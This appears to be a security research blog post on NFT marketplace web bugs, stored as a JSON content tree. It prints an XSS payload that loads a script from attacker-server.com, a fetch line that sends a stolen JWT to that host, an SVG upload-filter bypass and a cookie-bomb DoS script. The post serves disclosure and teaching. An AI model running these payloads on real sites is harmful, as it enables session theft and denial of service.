"type":28,"value":271},{"type":23,"tag":213,"props":33467,"children":33468},{"style":268},[33469],{"type":28,"value":32596},{"type":23,"tag":213,"props":33471,"children":33472},{"style":274},[33473],{"type":28,"value":3190},{"type":23,"tag":213,"props":33475,"children":33476},{"style":246},[33477],{"type":28,"value":32661},{"type":23,"tag":213,"props":33479,"children":33480},{"style":268},[33481],{"type":28,"value":32610},{"type":23,"tag":213,"props":33483,"children":33484},{"style":274},[33485],{"type":28,"value":3190},{"type":23,"tag":213,"props":33487,"children":33488},{"style":246},[33489],{"type":28,"value":32674},{"type":23,"tag":213,"props":33491,"children":33492},{"style":268},[33493],{"type":28,"value":32566},{"type":23,"tag":213,"props":33495,"children":33496},{"style":274},[33497],{"type":28,"value":3190},{"type":23,"tag":213,"props":33499,"children":33500},{"style":246},[33501],{"type":28,"value":20114},{"type":23,"tag":213,"props":33503,"children":33504},{"style":230},[33505],{"type":28,"value":33506},"{"",{"type":23,"tag":213,"props":33508,"children":33509},{"style":246},[33510],{"type":28,"value":32696},{"type":23,"tag":213,"props":33512,"children":33513},{"style":230},[33514],{"type":28,"value":33515},"":"<",{"type":23,"tag":213,"props":33517,"children":33518},{"style":246},[33519],{"type":28,"value":4009},{"type":23,"tag":213,"props":33521,"children":33522},{"style":230},[33523],{"type":28,"value":33524},"/",{"type":23,"tag":213,"props":33526,"children":33527},{"style":246},[33528],{"type":28,"value":32725},{"type":23,"tag":213,"props":33530,"children":33531},{"style":230},[33532],{"type":28,"value":33533},"=",{"type":23,"tag":213,"props":33535,"children":33536},{"style":246},[33537],{"type":28,"value":33538},"x onerror",{"type":23,"tag":213,"props":33540,"children":33541},{"style":230},[33542],{"type":28,"value":33533},{"type":23,"tag":213,"props":33544,"children":33545},{"style":246},[33546],{"type":28,"value":19537},{"type":23,"tag":213,"props":33548,"children":33549},{"style":230},[33550],{"type":28,"value":33551},"(`",{"type":23,"tag":213,"props":33553,"children":33554},{"style":246},[33555],{"type":28,"value":33556},"https",{"type":23,"tag":213,"props":33558,"children":33559},{"style":230},[33560],{"type":28,"value":33561},"://",{"type":23,"tag":213,"props":33563,"children":33564},{"style":246},[33565],{"type":28,"value":33566},"attacker-server",{"type":23,"tag":213,"props":33568,"children":33569},{"style":230},[33570],{"type":28,"value":33571},".",{"type":23,"tag":213,"props":33573,"children":33574},{"style":246},[33575],{"type":28,"value":33576},"com",{"type":23,"tag":213,"props":33578,"children":33579},{"style":230},[33580],{"type":28,"value":33524},{"type":23,"tag":213,"props":33582,"children":33583},{"style":246},[33584],{"type":28,"value":33585},"leak",{"type":23,"tag":213,"props":33587,"children":33588},{"style":230},[33589],{"type":28,"value":33571},{"type":23,"tag":213,"props":33591,"children":33592},{"style":246},[33593],{"type":28,"value":31421},{"type":23,"tag":213,"props":33595,"children":33596},{"style":230},[33597],{"type":28,"value":33598},"`)>","",{"type":23,"tag":213,"props":33600,"children":33601},{"style":246},[33602],{"type":28,"value":32783},{"type":23,"tag":213,"props":33604,"children":33605},{"style":230},[33606],{"type":28,"value":33607},"":"",{"type":23,"tag":213,"props":33609,"children":33610},{"style":246},[33611],{"type":28,"value":33612},"profile-assets",{"type":23,"tag":213,"props":33614,"children":33615},{"style":230},[33616],{"type":28,"value":33617},"","",{"type":23,"tag":213,"props":33619,"children":33620},{"style":246},[33621],{"type":28,"value":32812},{"type":23,"tag":213,"props":33623,"children":33624},{"style":230},[33625],{"type":28,"value":33607},{"type":23,"tag":213,"props":33627,"children":33628},{"style":246},[33629],{"type":28,"value":32821},{"type":23,"tag":213,"props":33631,"children":33632},{"style":230},[33633],{"type":28,"value":33634},""}",{"type":23,"tag":213,"props":33636,"children":33637},{"style":246},[33638],{"type":28,"value":20114},{"type":23,"tag":213,"props":33640,"children":33641},{"style":32431},[33642],{"type":28,"value":32835},{"type":23,"tag":213,"props":33644,"children":33645},{"class":215,"line":570},[33646,33650,33654,33658,33662,33666,33670,33674,33678],{"type":23,"tag":213,"props":33647,"children":33648},{"style":32431},[33649],{"type":28,"value":32644},{"type":23,"tag":213,"props":33651,"children":33652},{"style":230},[33653],{"type":28,"value":271},{"type":23,"tag":213,"props":33655,"children":33656},{"style":268},[33657],{"type":28,"value":32596},{"type":23,"tag":213,"props":33659,"children":33660},{"style":274},[33661],{"type":28,"value":3190},{"type":23,"tag":213,"props":33663,"children":33664},{"style":246},[33665],{"type":28,"value":32859},{"type":23,"tag":213,"props":33667,"children":33668},{"style":268},[33669],{"type":28,"value":32566},{"type":23,"tag":213,"props":33671,"children":33672},{"style":274},[33673],{"type":28,"value":3190},{"type":23,"tag":213,"props":33675,"children":33676},{"style":246},[33677],{"type":28,"value":32872},{"type":23,"tag":213,"props":33679,"children":33680},{"style":32431},[33681],{"type":28,"value":32835},{"type":23,"tag":213,"props":33683,"children":33684},{"class":215,"line":655},[33685,33689,33693],{"type":23,"tag":213,"props":33686,"children":33687},{"style":32431},[33688],{"type":28,"value":32884},{"type":23,"tag":213,"props":33690,"children":33691},{"style":230},[33692],{"type":28,"value":32506},{"type":23,"tag":213,"props":33694,"children":33695},{"style":32431},[33696],{"type":28,"value":6084},{"type":23,"tag":213,"props":33698,"children":33699},{"class":215,"line":1176},[33700,33704,33708],{"type":23,"tag":213,"props":33701,"children":33702},{"style":32431},[33703],{"type":28,"value":32900},{"type":23,"tag":213,"props":33705,"children":33706},{"style":230},[33707],{"type":28,"value":32455},{"type":23,"tag":213,"props":33709,"children":33710},{"style":32431},[33711],{"type":28,"value":6084},{"type":23,"tag":213,"props":33713,"children":33714},{"class":215,"line":1202},[33715],{"type":23,"tag":213,"props":33716,"children":33717},{"emptyLinePlaceholder":18},[33718],{"type":28,"value":530},{"type":23,"tag":213,"props":33720,"children":33721},{"class":215,"line":1758},[33722,33726,33730],{"type":23,"tag":213,"props":33723,"children":33724},{"style":32431},[33725],{"type":28,"value":32450},{"type":23,"tag":213,"props":33727,"children":33728},{"style":230},[33729],{"type":28,"value":32471},{"type":23,"tag":213,"props":33731,"children":33732},{"style":32431},[33733],{"type":28,"value":6084},{"type":23,"tag":213,"props":33735,"children":33736},{"class":215,"line":1767},[33737],{"type":23,"tag":213,"props":33738,"children":33739},{"emptyLinePlaceholder":18},[33740],{"type":28,"value":530},{"type":23,"tag":213,"props":33742,"children":33743},{"class":215,"line":1789},[33744,33748],{"type":23,"tag":213,"props":33745,"children":33746},{"style":220},[33747],{"type":28,"value":32945},{"type":23,"tag":213,"props":33749,"children":33750},{"style":230},[33751],{"type":28,"value":10964},{"type":23,"tag":213,"props":33753,"children":33754},{"class":215,"line":1812},[33755,33759,33763,33767,33771,33775,33779,33783,33787,33791,33795,33799],{"type":23,"tag":213,"props":33756,"children":33757},{"style":268},[33758],{"type":28,"value":32957},{"type":23,"tag":213,"props":33760,"children":33761},{"style":268},[33762],{"type":28,"value":32962},{"type":23,"tag":213,"props":33764,"children":33765},{"style":274},[33766],{"type":28,"value":32967},{"type":23,"tag":213,"props":33768,"children":33769},{"style":1362},[33770],{"type":28,"value":32972},{"type":23,"tag":213,"props":33772,"children":33773},{"style":274},[33774],{"type":28,"value":400},{"type":23,"tag":213,"props":33776,"children":33777},{"style":1362},[33778],{"type":28,"value":32972},{"type":23,"tag":213,"props":33780,"children":33781},{"style":257},[33782],{"type":28,"value":32985},{"type":23,"tag":213,"props":33784,"children":33785},{"style":274},[33786],{"type":28,"value":265},{"type":23,"tag":213,"props":33788,"children":33789},{"style":246},[33790],{"type":28,"value":32994},{"type":23,"tag":213,"props":33792,"children":33793},{"style":274},[33794],{"type":28,"value":32999},{"type":23,"tag":213,"props":33796,"children":33797},{"style":257},[33798],{"type":28,"value":33004},{"type":23,"tag":213,"props":33800,"children":33801},{"style":274},[33802],{"type":28,"value":7824},{"type":23,"tag":213,"props":33804,"children":33805},{"class":215,"line":1838},[33806],{"type":23,"tag":213,"props":33807,"children":33808},{"emptyLinePlaceholder":18},[33809],{"type":28,"value":530},{"type":23,"tag":213,"props":33811,"children":33812},{"class":215,"line":1851},[33813,33817,33821,33825,33829,33833,33837,33841,33845,33849,33853,33857,33861],{"type":23,"tag":213,"props":33814,"children":33815},{"style":268},[33816],{"type":28,"value":3163},{"type":23,"tag":213,"props":33818,"children":33819},{"style":268},[33820],{"type":28,"value":33027},{"type":23,"tag":213,"props":33822,"children":33823},{"style":274},[33824],{"type":28,"value":32967},{"type":23,"tag":213,"props":33826,"children":33827},{"style":230},[33828],{"type":28,"value":1687},{"type":23,"tag":213,"props":33830,"children":33831},{"style":257},[33832],{"type":28,"value":33040},{"type":23,"tag":213,"props":33834,"children":33835},{"style":274},[33836],{"type":28,"value":33045},{"type":23,"tag":213,"props":33838,"children":33839},{"style":268},[33840],{"type":28,"value":33004},{"type":23,"tag":213,"props":33842,"children":33843},{"style":274},[33844],{"type":28,"value":23108},{"type":23,"tag":213,"props":33846,"children":33847},{"style":246},[33848],{"type":28,"value":33058},{"type":23,"tag":213,"props":33850,"children":33851},{"style":274},[33852],{"type":28,"value":33063},{"type":23,"tag":213,"props":33854,"children":33855},{"style":268},[33856],{"type":28,"value":33068},{"type":23,"tag":213,"props":33858,"children":33859},{"style":246},[33860],{"type":28,"value":33073},{"type":23,"tag":213,"props":33862,"children":33863},{"style":274},[33864],{"type":28,"value":33078},{"type":23,"tag":213,"props":33866,"children":33867},{"class":215,"line":1864},[33868,33872,33876,33880,33884,33888],{"type":23,"tag":213,"props":33869,"children":33870},{"style":268},[33871],{"type":28,"value":32957},{"type":23,"tag":213,"props":33873,"children":33874},{"style":268},[33875],{"type":28,"value":33090},{"type":23,"tag":213,"props":33877,"children":33878},{"style":274},[33879],{"type":28,"value":32967},{"type":23,"tag":213,"props":33881,"children":33882},{"style":230},[33883],{"type":28,"value":1687},{"type":23,"tag":213,"props":33885,"children":33886},{"style":257},[33887],{"type":28,"value":33103},{"type":23,"tag":213,"props":33889,"children":33890},{"style":274},[33891],{"type":28,"value":3759},{"type":23,"tag":213,"props":33893,"children":33894},{"class":215,"line":1890},[33895,33899,33903,33907,33911,33915,33919,33923],{"type":23,"tag":213,"props":33896,"children":33897},{"style":268},[33898],{"type":28,"value":33115},{"type":23,"tag":213,"props":33900,"children":33901},{"style":274},[33902],{"type":28,"value":124},{"type":23,"tag":213,"props":33904,"children":33905},{"style":268},[33906],{"type":28,"value":33124},{"type":23,"tag":213,"props":33908,"children":33909},{"style":274},[33910],{"type":28,"value":124},{"type":23,"tag":213,"props":33912,"children":33913},{"style":257},[33914],{"type":28,"value":605},{"type":23,"tag":213,"props":33916,"children":33917},{"style":274},[33918],{"type":28,"value":265},{"type":23,"tag":213,"props":33920,"children":33921},{"style":268},[33922],{"type":28,"value":33141},{"type":23,"tag":213,"props":33924,"children":33925},{"style":274},[33926],{"type":28,"value":2867},{"type":23,"tag":213,"props":33928,"children":33929},{"class":215,"line":1899},[33930],{"type":23,"tag":213,"props":33931,"children":33932},{"emptyLinePlaceholder":18},[33933],{"type":28,"value":530},{"type":23,"tag":213,"props":33935,"children":33936},{"class":215,"line":1912},[33937,33941,33945,33949,33953,33957,33961,33965],{"type":23,"tag":213,"props":33938,"children":33939},{"style":268},[33940],{"type":28,"value":33160},{"type":23,"tag":213,"props":33942,"children":33943},{"style":274},[33944],{"type":28,"value":124},{"type":23,"tag":213,"props":33946,"children":33947},{"style":268},[33948],{"type":28,"value":33169},{"type":23,"tag":213,"props":33950,"children":33951},{"style":274},[33952],{"type":28,"value":32967},{"type":23,"tag":213,"props":33954,"children":33955},{"style":268},[33956],{"type":28,"value":33178},{"type":23,"tag":213,"props":33958,"children":33959},{"style":274},[33960],{"type":28,"value":124},{"type":23,"tag":213,"props":33962,"children":33963},{"style":268},[33964],{"type":28,"value":33169},{"type":23,"tag":213,"props":33966,"children":33967},{"style":274},[33968],{"type":28,"value":313},{"type":23,"tag":213,"props":33970,"children":33971},{"class":215,"line":1921},[33972],{"type":23,"tag":213,"props":33973,"children":33974},{"emptyLinePlaceholder":18},[33975],{"type":28,"value":530},{"type":23,"tag":213,"props":33977,"children":33978},{"class":215,"line":3879},[33979,33984,33988,33993],{"type":23,"tag":213,"props":33980,"children":33981},{"style":268},[33982],{"type":28,"value":33983}," form123",{"type":23,"tag":213,"props":33985,"children":33986},{"style":274},[33987],{"type":28,"value":124},{"type":23,"tag":213,"props":33989,"children":33990},{"style":257},[33991],{"type":28,"value":33992},"submit",{"type":23,"tag":213,"props":33994,"children":33995},{"style":274},[33996],{"type":28,"value":7824},{"type":23,"tag":213,"props":33998,"children":33999},{"class":215,"line":3887},[34000,34004],{"type":23,"tag":213,"props":34001,"children":34002},{"style":230},[34003],{"type":28,"value":33198},{"type":23,"tag":213,"props":34005,"children":34006},{"style":220},[34007],{"type":28,"value":33203},{"type":23,"tag":213,"props":34009,"children":34010},{"class":215,"line":3918},[34011],{"type":23,"tag":213,"props":34012,"children":34013},{"emptyLinePlaceholder":18},[34014],{"type":28,"value":530},{"type":23,"tag":213,"props":34016,"children":34017},{"class":215,"line":3926},[34018,34022,34026],{"type":23,"tag":213,"props":34019,"children":34020},{"style":32431},[34021],{"type":28,"value":32900},{"type":23,"tag":213,"props":34023,"children":34024},{"style":230},[34025],{"type":28,"value":32471},{"type":23,"tag":213,"props":34027,"children":34028},{"style":32431},[34029],{"type":28,"value":6084},{"type":23,"tag":213,"props":34031,"children":34032},{"class":215,"line":3986},[34033,34037,34041],{"type":23,"tag":213,"props":34034,"children":34035},{"style":32431},[34036],{"type":28,"value":32485},{"type":23,"tag":213,"props":34038,"children":34039},{"style":230},[34040],{"type":28,"value":32438},{"type":23,"tag":213,"props":34042,"children":34043},{"style":32431},[34044],{"type":28,"value":6084},{"type":23,"tag":24,"props":34046,"children":34047},{},[34048],{"type":28,"value":34049},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":202,"props":34051,"children":34055},{"className":34052,"code":34053,"language":34054,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[34056],{"type":23,"tag":209,"props":34057,"children":34058},{"__ignoreMap":7},[34059,34066,34087,34108,34125],{"type":23,"tag":213,"props":34060,"children":34061},{"class":215,"line":216},[34062],{"type":23,"tag":213,"props":34063,"children":34064},{"style":220},[34065],{"type":28,"value":10964},{"type":23,"tag":213,"props":34067,"children":34068},{"class":215,"line":226},[34069,34074,34078,34083],{"type":23,"tag":213,"props":34070,"children":34071},{"style":268},[34072],{"type":28,"value":34073}," \"address\"",{"type":23,"tag":213,"props":34075,"children":34076},{"style":220},[34077],{"type":28,"value":15390},{"type":23,"tag":213,"props":34079,"children":34080},{"style":246},[34081],{"type":28,"value":34082},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":213,"props":34084,"children":34085},{"style":220},[34086],{"type":28,"value":944},{"type":23,"tag":213,"props":34088,"children":34089},{"class":215,"line":524},[34090,34095,34099,34104],{"type":23,"tag":213,"props":34091,"children":34092},{"style":268},[34093],{"type":28,"value":34094}," \"to\"",{"type":23,"tag":213,"props":34096,"children":34097},{"style":220},[34098],{"type":28,"value":15390},{"type":23,"tag":213,"props":34100,"children":34101},{"style":246},[34102],{"type":28,"value":34103},"\"profile-assets\"",{"type":23,"tag":213,"props":34105,"children":34106},{"style":220},[34107],{"type":28,"value":944},{"type":23,"tag":213,"props":34109,"children":34110},{"class":215,"line":533},[34111,34116,34120],{"type":23,"tag":213,"props":34112,"children":34113},{"style":268},[34114],{"type":28,"value":34115}," \"type\"",{"type":23,"tag":213,"props":34117,"children":34118},{"style":220},[34119],{"type":28,"value":15390},{"type":23,"tag":213,"props":34121,"children":34122},{"style":246},[34123],{"type":28,"value":34124},"\"icon\"\n",{"type":23,"tag":213,"props":34126,"children":34127},{"class":215,"line":543},[34128],{"type":23,"tag":213,"props":34129,"children":34130},{"style":220},[34131],{"type":28,"value":1208},{"type":23,"tag":24,"props":34133,"children":34134},{},[34135],{"type":28,"value":34136},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":202,"props":34138,"children":34140},{"className":31419,"code":34139,"language":31421,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[34141],{"type":23,"tag":209,"props":34142,"children":34143},{"__ignoreMap":7},[34144],{"type":23,"tag":213,"props":34145,"children":34146},{"class":215,"line":216},[34147,34152,34156,34161,34166,34171,34175,34180,34184,34189,34193,34198,34202],{"type":23,"tag":213,"props":34148,"children":34149},{"style":257},[34150],{"type":28,"value":34151},"fetch",{"type":23,"tag":213,"props":34153,"children":34154},{"style":220},[34155],{"type":28,"value":265},{"type":23,"tag":213,"props":34157,"children":34158},{"style":246},[34159],{"type":28,"value":34160},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":213,"props":34162,"children":34163},{"style":230},[34164],{"type":28,"value":34165},"${",{"type":23,"tag":213,"props":34167,"children":34168},{"style":268},[34169],{"type":28,"value":34170},"localStorage",{"type":23,"tag":213,"props":34172,"children":34173},{"style":274},[34174],{"type":28,"value":124},{"type":23,"tag":213,"props":34176,"children":34177},{"style":257},[34178],{"type":28,"value":34179},"getItem",{"type":23,"tag":213,"props":34181,"children":34182},{"style":274},[34183],{"type":28,"value":265},{"type":23,"tag":213,"props":34185,"children":34186},{"style":246},[34187],{"type":28,"value":34188},"'token'",{"type":23,"tag":213,"props":34190,"children":34191},{"style":274},[34192],{"type":28,"value":2121},{"type":23,"tag":213,"props":34194,"children":34195},{"style":230},[34196],{"type":28,"value":34197},"}",{"type":23,"tag":213,"props":34199,"children":34200},{"style":246},[34201],{"type":28,"value":10465},{"type":23,"tag":213,"props":34203,"children":34204},{"style":220},[34205],{"type":28,"value":2867},{"type":23,"tag":9693,"props":34207,"children":34209},{"id":34208},"svgs",[34210],{"type":28,"value":34211},"SVGs",{"type":23,"tag":24,"props":34213,"children":34214},{},[34215],{"type":28,"value":34216},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":34218,"children":34219},{},[34220],{"type":28,"value":34221},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":202,"props":34223,"children":34225},{"className":31419,"code":34224,"language":31421,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[34226],{"type":23,"tag":209,"props":34227,"children":34228},{"__ignoreMap":7},[34229,34275,34312,34319,34349,34381,34409,34417,34433],{"type":23,"tag":213,"props":34230,"children":34231},{"class":215,"line":216},[34232,34237,34242,34247,34251,34256,34261,34265,34270],{"type":23,"tag":213,"props":34233,"children":34234},{"style":274},[34235],{"type":28,"value":34236},"\u003C?",{"type":23,"tag":213,"props":34238,"children":34239},{"style":268},[34240],{"type":28,"value":34241},"xml",{"type":23,"tag":213,"props":34243,"children":34244},{"style":268},[34245],{"type":28,"value":34246}," version",{"type":23,"tag":213,"props":34248,"children":34249},{"style":274},[34250],{"type":28,"value":3190},{"type":23,"tag":213,"props":34252,"children":34253},{"style":246},[34254],{"type":28,"value":34255},"\"1.0\"",{"type":23,"tag":213,"props":34257,"children":34258},{"style":268},[34259],{"type":28,"value":34260}," encoding",{"type":23,"tag":213,"props":34262,"children":34263},{"style":274},[34264],{"type":28,"value":3190},{"type":23,"tag":213,"props":34266,"children":34267},{"style":246},[34268],{"type":28,"value":34269},"\"UTF-8\"",{"type":23,"tag":213,"props":34271,"children":34272},{"style":274},[34273],{"type":28,"value":34274},"?>\n",{"type":23,"tag":213,"props":34276,"children":34277},{"class":215,"line":226},[34278,34283,34288,34293,34298,34303,34308],{"type":23,"tag":213,"props":34279,"children":34280},{"style":274},[34281],{"type":28,"value":34282},"\u003C!",{"type":23,"tag":213,"props":34284,"children":34285},{"style":268},[34286],{"type":28,"value":34287},"DOCTYPE",{"type":23,"tag":213,"props":34289,"children":34290},{"style":268},[34291],{"type":28,"value":34292}," svg",{"type":23,"tag":213,"props":34294,"children":34295},{"style":268},[34296],{"type":28,"value":34297}," PUBLIC",{"type":23,"tag":213,"props":34299,"children":34300},{"style":246},[34301],{"type":28,"value":34302}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":213,"props":34304,"children":34305},{"style":246},[34306],{"type":28,"value":34307}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":213,"props":34309,"children":34310},{"style":274},[34311],{"type":28,"value":6084},{"type":23,"tag":213,"props":34313,"children":34314},{"class":215,"line":524},[34315],{"type":23,"tag":213,"props":34316,"children":34317},{"emptyLinePlaceholder":18},[34318],{"type":28,"value":530},{"type":23,"tag":213,"props":34320,"children":34321},{"class":215,"line":533},[34322,34326,34331,34336,34340,34345],{"type":23,"tag":213,"props":34323,"children":34324},{"style":32431},[34325],{"type":28,"value":8804},{"type":23,"tag":213,"props":34327,"children":34328},{"style":230},[34329],{"type":28,"value":34330},"svg",{"type":23,"tag":213,"props":34332,"children":34333},{"style":268},[34334],{"type":28,"value":34335}," xmlns",{"type":23,"tag":213,"props":34337,"children":34338},{"style":274},[34339],{"type":28,"value":3190},{"type":23,"tag":213,"props":34341,"children":34342},{"style":246},[34343],{"type":28,"value":34344},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":213,"props":34346,"children":34347},{"style":32431},[34348],{"type":28,"value":6084},{"type":23,"tag":213,"props":34350,"children":34351},{"class":215,"line":543},[34352,34356,34361,34365,34369,34373,34377],{"type":23,"tag":213,"props":34353,"children":34354},{"style":32431},[34355],{"type":28,"value":32450},{"type":23,"tag":213,"props":34357,"children":34358},{"style":230},[34359],{"type":28,"value":34360},"title",{"type":23,"tag":213,"props":34362,"children":34363},{"style":32431},[34364],{"type":28,"value":10545},{"type":23,"tag":213,"props":34366,"children":34367},{"style":220},[34368],{"type":28,"value":31293},{"type":23,"tag":213,"props":34370,"children":34371},{"style":32431},[34372],{"type":28,"value":32485},{"type":23,"tag":213,"props":34374,"children":34375},{"style":230},[34376],{"type":28,"value":34360},{"type":23,"tag":213,"props":34378,"children":34379},{"style":32431},[34380],{"type":28,"value":6084},{"type":23,"tag":213,"props":34382,"children":34383},{"class":215,"line":551},[34384,34388,34392,34396,34400,34405],{"type":23,"tag":213,"props":34385,"children":34386},{"style":32431},[34387],{"type":28,"value":32450},{"type":23,"tag":213,"props":34389,"children":34390},{"style":230},[34391],{"type":28,"value":32471},{"type":23,"tag":213,"props":34393,"children":34394},{"style":268},[34395],{"type":28,"value":32596},{"type":23,"tag":213,"props":34397,"children":34398},{"style":274},[34399],{"type":28,"value":3190},{"type":23,"tag":213,"props":34401,"children":34402},{"style":246},[34403],{"type":28,"value":34404},"\"text/javascript\"",{"type":23,"tag":213,"props":34406,"children":34407},{"style":32431},[34408],{"type":28,"value":6084},{"type":23,"tag":213,"props":34410,"children":34411},{"class":215,"line":570},[34412],{"type":23,"tag":213,"props":34413,"children":34414},{"style":220},[34415],{"type":28,"value":34416}," alert(document.domain);\n",{"type":23,"tag":213,"props":34418,"children":34419},{"class":215,"line":655},[34420,34425,34429],{"type":23,"tag":213,"props":34421,"children":34422},{"style":32431},[34423],{"type":28,"value":34424}," \u003C/",{"type":23,"tag":213,"props":34426,"children":34427},{"style":230},[34428],{"type":28,"value":32471},{"type":23,"tag":213,"props":34430,"children":34431},{"style":32431},[34432],{"type":28,"value":6084},{"type":23,"tag":213,"props":34434,"children":34435},{"class":215,"line":1176},[34436,34441,34445],{"type":23,"tag":213,"props":34437,"children":34438},{"style":32431},[34439],{"type":28,"value":34440}," \u003C/",{"type":23,"tag":213,"props":34442,"children":34443},{"style":230},[34444],{"type":28,"value":34330},{"type":23,"tag":213,"props":34446,"children":34447},{"style":32431},[34448],{"type":28,"value":6084},{"type":23,"tag":24,"props":34450,"children":34451},{},[34452,34454,34461],{"type":28,"value":34453},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":36,"props":34455,"children":34458},{"href":34456,"rel":34457},"https://xtingles.com/",[40],[34459],{"type":28,"value":34460},"xtingles Marketplace",{"type":28,"value":124},{"type":23,"tag":24,"props":34463,"children":34464},{},[34465],{"type":28,"value":34466},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":34468,"children":34469},{},[34470],{"type":28,"value":34471},"Below, we show you how we did it.",{"type":23,"tag":24,"props":34473,"children":34474},{},[34475],{"type":28,"value":34476},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":34478,"children":34479},{},[34480],{"type":23,"tag":4009,"props":34481,"children":34483},{"alt":7,"src":34482},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":34485,"children":34486},{},[34487],{"type":28,"value":34488},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":34490,"children":34491},{},[34492],{"type":23,"tag":4009,"props":34493,"children":34495},{"alt":7,"src":34494},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":9693,"props":34497,"children":34499},{"id":34498},"svgs-return",[34500],{"type":28,"value":34501},"SVGs Return",{"type":23,"tag":24,"props":34503,"children":34504},{},[34505],{"type":28,"value":34506},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":34508,"children":34509},{},[34510],{"type":28,"value":34511},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":34513,"children":34514},{},[34515],{"type":28,"value":34516},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":202,"props":34518,"children":34522},{"className":34519,"code":34520,"language":34521,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[34523],{"type":23,"tag":209,"props":34524,"children":34525},{"__ignoreMap":7},[34526,34565,34596,34603,34630,34661,34688,34696,34704,34711,34723,34798,34806,34821],{"type":23,"tag":213,"props":34527,"children":34528},{"class":215,"line":216},[34529,34533,34537,34541,34545,34549,34553,34557,34561],{"type":23,"tag":213,"props":34530,"children":34531},{"style":274},[34532],{"type":28,"value":34236},{"type":23,"tag":213,"props":34534,"children":34535},{"style":268},[34536],{"type":28,"value":34241},{"type":23,"tag":213,"props":34538,"children":34539},{"style":268},[34540],{"type":28,"value":34246},{"type":23,"tag":213,"props":34542,"children":34543},{"style":274},[34544],{"type":28,"value":3190},{"type":23,"tag":213,"props":34546,"children":34547},{"style":246},[34548],{"type":28,"value":34255},{"type":23,"tag":213,"props":34550,"children":34551},{"style":268},[34552],{"type":28,"value":34260},{"type":23,"tag":213,"props":34554,"children":34555},{"style":274},[34556],{"type":28,"value":3190},{"type":23,"tag":213,"props":34558,"children":34559},{"style":246},[34560],{"type":28,"value":34269},{"type":23,"tag":213,"props":34562,"children":34563},{"style":274},[34564],{"type":28,"value":34274},{"type":23,"tag":213,"props":34566,"children":34567},{"class":215,"line":226},[34568,34572,34576,34580,34584,34588,34592],{"type":23,"tag":213,"props":34569,"children":34570},{"style":274},[34571],{"type":28,"value":34282},{"type":23,"tag":213,"props":34573,"children":34574},{"style":268},[34575],{"type":28,"value":34287},{"type":23,"tag":213,"props":34577,"children":34578},{"style":268},[34579],{"type":28,"value":34292},{"type":23,"tag":213,"props":34581,"children":34582},{"style":268},[34583],{"type":28,"value":34297},{"type":23,"tag":213,"props":34585,"children":34586},{"style":246},[34587],{"type":28,"value":34302},{"type":23,"tag":213,"props":34589,"children":34590},{"style":246},[34591],{"type":28,"value":34307},{"type":23,"tag":213,"props":34593,"children":34594},{"style":274},[34595],{"type":28,"value":6084},{"type":23,"tag":213,"props":34597,"children":34598},{"class":215,"line":524},[34599],{"type":23,"tag":213,"props":34600,"children":34601},{"emptyLinePlaceholder":18},[34602],{"type":28,"value":530},{"type":23,"tag":213,"props":34604,"children":34605},{"class":215,"line":533},[34606,34610,34614,34618,34622,34626],{"type":23,"tag":213,"props":34607,"children":34608},{"style":32431},[34609],{"type":28,"value":8804},{"type":23,"tag":213,"props":34611,"children":34612},{"style":230},[34613],{"type":28,"value":34330},{"type":23,"tag":213,"props":34615,"children":34616},{"style":268},[34617],{"type":28,"value":34335},{"type":23,"tag":213,"props":34619,"children":34620},{"style":274},[34621],{"type":28,"value":3190},{"type":23,"tag":213,"props":34623,"children":34624},{"